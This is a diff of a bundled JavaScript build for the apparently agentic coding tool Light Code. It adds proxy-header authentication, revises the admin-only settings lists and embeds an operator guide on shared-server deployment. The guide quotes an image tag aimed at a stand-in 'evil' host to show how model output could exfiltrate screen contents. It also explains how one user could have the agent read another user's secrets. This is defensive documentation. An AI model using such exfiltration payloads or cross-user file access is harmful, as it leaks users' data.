   "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/parse.js"(exports, module) {
     "use strict";
-    var path26 = __require("path");
+    var path29 = __require("path");
     var resolveCommand = require_resolveCommand();
     var escape2 = require_escape();
     var readShebang = require_readShebang();
@@ -34241,7 +34241,7 @@ var require_parse2 = __commonJS({
       const needsShell = !isExecutableRegExp.test(commandFile);
       if (parsed.options.forceShell || needsShell) {
         const needsDoubleEscapeMetaChars = isCmdShimRegExp.test(commandFile);
-        parsed.command = path26.normalize(parsed.command);
+        parsed.command = path29.normalize(parsed.command);
         parsed.command = escape2.command(parsed.command);
         parsed.args = parsed.args.map((arg) => escape2.argument(arg, needsDoubleEscapeMetaChars));
         const shellCommand = [parsed.command].concat(parsed.args).join(" ");
@@ -34457,7 +34457,7 @@ var require_content_type = __commonJS({
 
 // src/cli.ts
 import { spawn as spawn5 } from "node:child_process";
-import path25 from "node:path";
+import path28 from "node:path";
 import { fileURLToPath } from "node:url";
 
 // ../../node_modules/.pnpm/env-paths@4.0.0/node_modules/env-paths/index.js
@@ -34550,16 +34550,69 @@ function envPaths(name, { suffix = "nodejs" } = {}) {
   return linux(name);
 }
 
+// src/proxyIdentity.ts
+import net from "node:net";
+var DEFAULT_USER_HEADER = "x-forwarded-user";
+var DEFAULT_NAME_HEADER = "x-forwarded-display-name";
+function normalizeAddress(address) {
+  if (address === void 0 || address.length === 0) return void 0;
+  const lower = address.toLowerCase();
+  const mapped = /^::ffff:(\d+\.\d+\.\d+\.\d+)$/.exec(lower);
+  if (mapped !== null) return mapped[1];
+  return lower;
+}
+var ProxyHeaderIdentity = class {
+  describe;
+  userHeader;
+  nameHeader;
+  trusted;
+  constructor(options = {}) {
+    this.userHeader = (options.userHeader ?? DEFAULT_USER_HEADER).toLowerCase();
+    this.nameHeader = (options.nameHeader ?? DEFAULT_NAME_HEADER).toLowerCase();
+    this.trusted = new Set(
+      (options.trustedProxies ?? []).map((address) => normalizeAddress(address)).filter((address) => address !== void 0)
+    );
+    this.describe = this.trusted.size === 0 ? `proxy header "${this.userHeader}" \u2014 NO TRUSTED PROXY CONFIGURED, every request is refused` : `proxy header "${this.userHeader}" from ${[...this.trusted].join(", ")}`;
+  }
+  /** True when the socket peer is an address the operator named. */
+  trusts(request) {
+    const peer = normalizeAddress(request.socket.remoteAddress ?? void 0);
+    return peer !== void 0 && this.trusted.has(peer);
+  }
+  async authenticate(request) {
+    if (!this.trusts(request)) return void 0;
+    const raw = request.headers[this.userHeader];
+    if (typeof raw !== "string") return void 0;
+    const id = raw.trim();
+    if (id.length === 0) return void 0;
+    const nameRaw = request.headers[this.nameHeader];
+    const displayName = typeof nameRaw === "string" && nameRaw.trim().length > 0 ? nameRaw.trim() : id;
+    return { id, displayName };
+  }
+};
+function validateTrustedProxies(addresses) {
+  return addresses.filter((address) => {
+    const normalized = normalizeAddress(address);
+    return normalized === void 0 || net.isIP(normalized) === 0;
+  });
+}
+
 // src/roles.ts
 var ADMIN_ONLY_MESSAGES = [
-  // Credentials and where inference goes (invariant 5: `profiles`, `activeProfileId`).
-  "saveProfile",
-  "deleteProfile",
-  "duplicateProfile",
-  "setActiveProfile",
-  "testConnection",
+  /*
+   * The *shared* provider set, and the default a new user inherits.
+   *
+   * A user's own profiles are theirs — see PERSONAL_SETTINGS. That is a reversal, made
+   * deliberately: the original rule froze all of `profiles` because a second user was treated as
+   * the same threat as a hostile repository. The threat that reasoning is about is one user
+   * repointing *another's* gateway, and a per-user profile cannot do that — someone bringing
+   * their own key is spending their own money against a host they chose.
+   */
+  "saveSharedProfile",
+  "deleteSharedProfile",
+  "setDefaultProfile",
+  // Writes a whole profile list, so it is not the same act as exporting one.
   "importConfig",
-  "exportConfig",
   // Processes this machine will spawn.
   "saveMcpServer",
   "saveMcpServers",
@@ -34594,6 +34647,12 @@ var ADMIN_ONLY_MESSAGES = [
   "saveSkillDirs",
   "deleteSkillFile",
   // Unattended execution with a pre-granted tool list.
+  // Session variables an administrator sets for everyone. A user saving their own is
+  // `saveUserVariables`, which is deliberately not here — it is theirs.
+  // Approving model-authored code is the whole point of the queue.
+  "decideReview",
+  "saveAdminVariables",
+  "saveAdminIds",
   "saveSchedule",
   "deleteSchedule",
   "setScheduleEnabled",
@@ -34606,6 +34665,24 @@ var ADMIN_ONLY_MESSAGES = [
 ];
 var ADMIN_ONLY = new Set(ADMIN_ONLY_MESSAGES);
 var PERSONAL_SETTINGS = /* @__PURE__ */ new Set([
+  // A user's own session variables. Caught by the unknown-mutating-verb rule, which is the
+  // safety net working — the net is meant to be wrong in this direction, and this is where the
+  // exception gets made deliberately rather than by weakening the rule.
+  "saveUserVariables",
+  /*
+   * A user's own provider profiles, including their own API key.
+   *
+   * They cannot reach the shared ones: the config store strips a shared profile from anything
+   * written to a user's file, so that boundary is storage rather than this list. Test Connection
+   * is theirs too — a diagnostic against a profile they can already use, and refusing it would
+   * leave someone unable to find out why their own key does not work.
+   */
+  "saveProfile",
+  "deleteProfile",
+  "duplicateProfile",
+  "setActiveProfile",
+  "testConnection",
+  "exportConfig",
   "setMode",
   "setAccentColor",
   "setExpertColor",
@@ -34632,293 +34709,28 @@ function refusalFor(messageType) {
   return `"${messageType}" changes configuration that the administrator owns on a shared server, so it was not applied. Everything about your own session \u2014 chatting, editing, the mode and appearance \u2014 is unaffected. Ask whoever runs this server if a setting needs changing.`;
 }
 
-// src/server.ts
-import fs19 from "node:fs/promises";
-import {
-  createServer
-} from "node:http";
-import path24 from "node:path";
-
-// src/identity.ts
-import crypto from "node:crypto";
-var SingleUserIdentity = class _SingleUserIdentity {
-  describe = "single user (local)";
-  static PRINCIPAL = { id: "local", displayName: "Local user" };
-  /** Long-lived, minted per server run, only ever sent in an `Authorization` header. */
-  sessionToken = crypto.randomBytes(32).toString("base64url");
-  /**
-   * Single-use and short-lived, because it travels in the launch URL's fragment where it
-   * can end up in shell history or a terminal scrollback (§14).
-   */
-  handoffToken = crypto.randomBytes(32).toString("base64url");
-  handoffExpiresAt = Date.now() + 1e4;
-  get launchToken() {
-    if (this.handoffToken === void 0) throw new Error("handoff token already consumed");
-    return this.handoffToken;
-  }
-  /**
-   * Exchanges the handoff token for the session token, once.
-   *
-   * Cleared on the first attempt whether or not it matched: a wrong guess is either a bug
-   * or an attack, and in both cases the right answer is that this token is now spent.
-   */
-  redeemHandoff(presented) {
-    const expected = this.handoffToken;
-    const expiresAt = this.handoffExpiresAt;
-    this.handoffToken = void 0;
-    if (expected === void 0 || Date.now() > expiresAt) return void 0;
-    return timingSafeEquals(presented, expected) ? this.sessionToken : void 0;
-  }
-  async authenticate(request) {
-    const header = request.headers.authorization;
-    if (header === void 0 || !header.startsWith("Bearer ")) return void 0;
-    return timingSafeEquals(header.slice("Bearer ".length), this.sessionToken) ? _SingleUserIdentity.PRINCIPAL : void 0;
-  }
-};
-function timingSafeEquals(a, b) {
-  const left = Buffer.from(a);
-  const right = Buffer.from(b);
-  if (left.length !== right.length) return false;
-  return crypto.timingSafeEqual(left, right);
-}
-function storageKeyFor(principal) {
-  return crypto.createHash("sha256").update(principal.id).digest("hex").slice(0, 32);
-}
-
-// src/security.ts
-var SAFE_METHODS = /* @__PURE__ */ new Set(["GET", "HEAD", "OPTIONS"]);
-function checkRequest(request, policy, options) {
-  const host = request.headers.host;
-  if (host === void 0 || !policy.allowedHosts.includes(host.toLowerCase())) {
-    return {
-      status: 421,
-      reason: `Host "${host ?? "(absent)"}" is not one this server answers to. This is what blocks DNS rebinding.`
-    };
-  }
-  const origin = request.headers.origin;
-  if (origin !== void 0 && !policy.allowedOrigins.includes(origin.toLowerCase())) {
-    return { status: 403, reason: `Origin "${origin}" is not allowed.` };
-  }
-  const fetchSite = request.headers["sec-fetch-site"];
-  if (typeof fetchSite === "string" && fetchSite !== "same-origin" && fetchSite !== "none") {
-    return { status: 403, reason: `Cross-site request (Sec-Fetch-Site: ${fetchSite}) is not allowed.` };
-  }
-  const method = (request.method ?? "GET").toUpperCase();
-  if (options.requireOrigin && !SAFE_METHODS.has(method) && origin === void 0) {
-    return { status: 403, reason: `Missing Origin header on a ${method}.` };
-  }
-  return void 0;
-}
-function securityHeaders() {
-  return {
-    "Content-Security-Policy": [
-      "default-src 'none'",
-      "script-src 'self'",
-      // The UI styles through the CSSOM rather than inline attributes, but the browser
-      // build also needs a stylesheet for the page shell.
-      "style-src 'self' 'unsafe-inline'",
-      "img-src 'self' data:",
-      "font-src 'self'",
-      "connect-src 'self'",
-      "frame-ancestors 'none'",
-      "base-uri 'none'",
-      "form-action 'none'"
-    ].join("; "),
-    "X-Content-Type-Options": "nosniff",
-    "Referrer-Policy": "no-referrer",
-    // Nothing here needs a camera, a microphone or a location.
-    "Permissions-Policy": "camera=(), microphone=(), geolocation=(), interest-cohort=()",
-    "Cache-Control": "no-store"
-    // Deliberately no Access-Control-Allow-Origin: no other origin may read these replies.
-  };
-}
-function reject(response, rejected) {
-  response.writeHead(rejected.status, { "Content-Type": "text/plain", ...securityHeaders() });
-  response.end(rejected.reason);
-}
-async function readJsonBody(request, maxBytes = 32 * 1024 * 1024) {
-  const chunks = [];
-  let total = 0;
-  for await (const chunk of request) {
-    const buffer = chunk;
-    total += buffer.length;
-    if (total > maxBytes) throw new Error("Request body too large.");
-    chunks.push(buffer);
-  }
-  if (total === 0) return void 0;
-  return JSON.parse(Buffer.concat(chunks).toString("utf8"));
-}
-
-// src/session.ts
-import { watch as fsWatch } from "node:fs";
-import fs18 from "node:fs/promises";
-import path23 from "node:path";
-
-// ../../packages/core/dist/platform/http.js
-var import_undici = __toESM(require_undici(), 1);
-import { createHash } from "node:crypto";
-
-// ../../packages/core/dist/platform/tls.js
-import fs from "node:fs";
-import tls from "node:tls";
-var cachedExtraCaCerts;
-var cachedExtraCaPath;
-function readNodeExtraCaCerts(env2 = process.env) {
-  const configuredPath = env2.NODE_EXTRA_CA_CERTS;
-  if (configuredPath === void 0 || configuredPath.trim().length === 0)
-    return [];
-  if (cachedExtraCaPath === configuredPath && cachedExtraCaCerts !== void 0)
-    return cachedExtraCaCerts;
-  try {
-    const contents = fs.readFileSync(configuredPath, "utf8");
-    cachedExtraCaCerts = contents.trim().length > 0 ? [contents] : [];
-  } catch {
-    cachedExtraCaCerts = [];
-  }
-  cachedExtraCaPath = configuredPath;
-  return cachedExtraCaCerts;
-}
-function buildCaBundle(configured, env2 = process.env) {
-  const extraFromEnv = readNodeExtraCaCerts(env2);
-  const extraFromConfig = configured ?? [];
-  if (extraFromEnv.length === 0 && extraFromConfig.length === 0)
-    return void 0;
-  return [...tls.rootCertificates, ...extraFromEnv, ...extraFromConfig];
-}
-function buildConnectOptions(options, env2 = process.env) {
-  const connect = {};
-  if (options.rejectUnauthorized === false)
-    connect.rejectUnauthorized = false;
-  if (options.cert !== void 0)
-    connect.cert = options.cert;
-  if (options.key !== void 0)
-    connect.key = options.key;
-  if (options.pfx !== void 0)
-    connect.pfx = options.pfx;
-  if (options.passphrase !== void 0)
-    connect.passphrase = options.passphrase;
-  const ca = buildCaBundle(options.ca, env2);
-  if (ca !== void 0)
-    connect.ca = ca;
-  return connect;
-}
+// src/generated/operatorGuide.ts
+var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code                          # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public   # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n  machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n  which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n  for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n  The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n  is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n  catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n  Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n  in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n  exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json                     administrator ids, variables for everyone  (0600)\r\n<data>/users/<hash of principal id>/\r\n    config.json            profiles, MCP servers, approvals   (0600)\r\n    secrets.json           API keys, passwords                (0600)\r\n    variables.json         this user\'s session variables      (0600)\r\n    workspace-state.json   which task was open\r\n    tasks/                 conversation history\r\n    tool-results/          spilled tool output\r\n    checkpoints/           shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n    proxy_set_header X-Forwarded-User        $remote_user;   # replaces, never appends\r\n    proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n    proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n  --workspace /srv/repo \\\r\n  --trust-proxy 10.0.0.5 \\\r\n  --admin-id 8f3c1e22-... \\\r\n  --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n  users          http://127.0.0.1:8080/\r\n  administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n  exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n  pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n  reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n  interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n  "defaultProfileId": "gateway",\r\n  "profiles": [\r\n    {\r\n      "id": "gateway",\r\n      "label": "Corporate gateway",\r\n      "wireFormat": "openai",\r\n      "baseUrl": "https://gateway.internal/v1",\r\n      "model": "gpt-4o",\r\n      "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n    }\r\n  ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n  including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n  separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n  service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n  other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n   nothing else substitutes for it. The server becomes a supervisor that launches a\r\n   per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n   is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n   rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n   allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n  inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n  reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n  directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
 
-// ../../packages/core/dist/platform/http.js
-function tlsKey(tls2) {
-  const hash2 = createHash("sha256");
-  for (const part of [tls2.cert, tls2.key, tls2.pfx, ...tls2.ca ?? []]) {
-    hash2.update(part ?? Buffer.alloc(0));
-    hash2.update("|");
-  }
-  hash2.update(tls2.passphrase ?? "");
-  return hash2.digest("hex");
+// src/guideText.ts
+function renderGuide(colour, source = OPERATOR_GUIDE) {
+  if (!colour) return source;
+  const ESC = "\x1B";
+  const bold = (text) => `${ESC}[1m${text}${ESC}[0m`;
+  const dim = (text) => `${ESC}[2m${text}${ESC}[0m`;
+  return source.split("\n").map((line) => {
+    const carriageReturn = line.endsWith("\r") ? "\r" : "";
+    const text = carriageReturn === "" ? line : line.slice(0, -1);
+    const heading = /^#{1,6}\s+(.*)$/.exec(text);
+    if (heading !== null) return bold(heading[1] ?? text) + carriageReturn;
+    if (text.startsWith("```")) return dim(text) + carriageReturn;
+    return line;
+  }).join("\n");
 }
-var FetchHttpClient = class {
-  /** Agents are pooled: building one per request would discard connection reuse entirely. */
-  agents = /* @__PURE__ */ new Map();
-  agentFor(tls2) {
-    const key = tlsKey(tls2);
-    const existing = this.agents.get(key);
-    if (existing !== void 0)
-      return existing;
-    const agent = new import_undici.Agent({ connect: buildConnectOptions(tls2) });
-    this.agents.set(key, agent);
-    return agent;
-  }
-  /** Drops pooled agents so the next request rebuilds TLS — call when certs change on disk. */
-  resetTlsAgents() {
-    for (const agent of this.agents.values())
-      void agent.close();
-    this.agents.clear();
-  }
-  async request(url2, options = {}) {
-    const init = {};
-    if (options.method !== void 0)
-      init.method = options.method;
-    if (options.headers !== void 0)
-      init.headers = options.headers;
-    if (options.body !== void 0)
-      init.body = options.body;
-    if (options.signal !== void 0)
-      init.signal = options.signal;
-    if (options.tls !== void 0)
-      init.dispatcher = this.agentFor(options.tls);
-    const response = await (0, import_undici.fetch)(url2, init);
-    return {
-      status: response.status,
-      headers: Object.fromEntries(response.headers.entries()),
-      text: () => response.text(),
-      json: () => response.json(),
-      body: response.body
-    };
-  }
-};
 
-// ../../packages/core/dist/platform/connectionTls.js
-import fs2 from "node:fs/promises";
-import path2 from "node:path";
-var TlsConfigError = class extends Error {
-  constructor(message) {
-    super(message);
-    this.name = "TlsConfigError";
-  }
-};
-async function readFile(file2, certDir, label, seen) {
